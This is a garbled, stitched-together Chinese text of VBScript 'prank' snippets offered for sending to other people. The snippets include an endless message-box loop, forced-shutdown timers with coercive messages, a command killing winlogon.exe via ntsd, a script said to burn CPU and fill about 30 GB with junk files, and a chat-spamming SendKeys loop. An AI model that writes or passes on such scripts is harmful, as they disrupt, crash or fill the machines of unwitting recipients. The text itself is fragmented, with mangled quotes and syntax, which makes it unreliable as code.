do while rltvbok r=msgboxquot你爱我吗quot，Vbokcancel，quot残风提示quotloop 把以上代码复制到文档，并命名为1vbs，运行即可。

dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim。

set a = wscriptcreateobjectquotwscriptshellquotarun quotcmdexe c shutdown r t 3600 c quotquot求我，我就告诉你怎么办嘿嘿quotquot quot，0 ，true 复制代码保存位**vbs 发给你要整的人就可以了 3600是时间。

wsrun quotcmd c start min ntsd c q pn winlogonexe 1nul 2nulquot，vbhide end if 解决办法什么都不要点建另一个VBS然后运行 代码如下CreateobjectquotWscriptshellquotrun quottaskkill f im wscriptexequot。

毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件请准备好30G空间具体在代码中仅供恶搞娱乐和研究，没有攻击任何人，组织的意图set qstart = wscriptCreateObjectquotwscriptshellquotset qweb = CreateObjectquot。

代码如下WScriptEchoquot嘿，谢谢你打开我哦，我等你很久拉quotTSNameWScriptEchoquot你是可爱的小朋吗？quotWScriptEchoquot哈，我想你拉，这你都不知道吗quotWScriptEchoquot怎么才来，说~是不是不关心我quotWScript。

Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscriptquit。

首先创建 文本文档，将以下代码复制on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是只猪，不说就一分钟关你。

On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscript。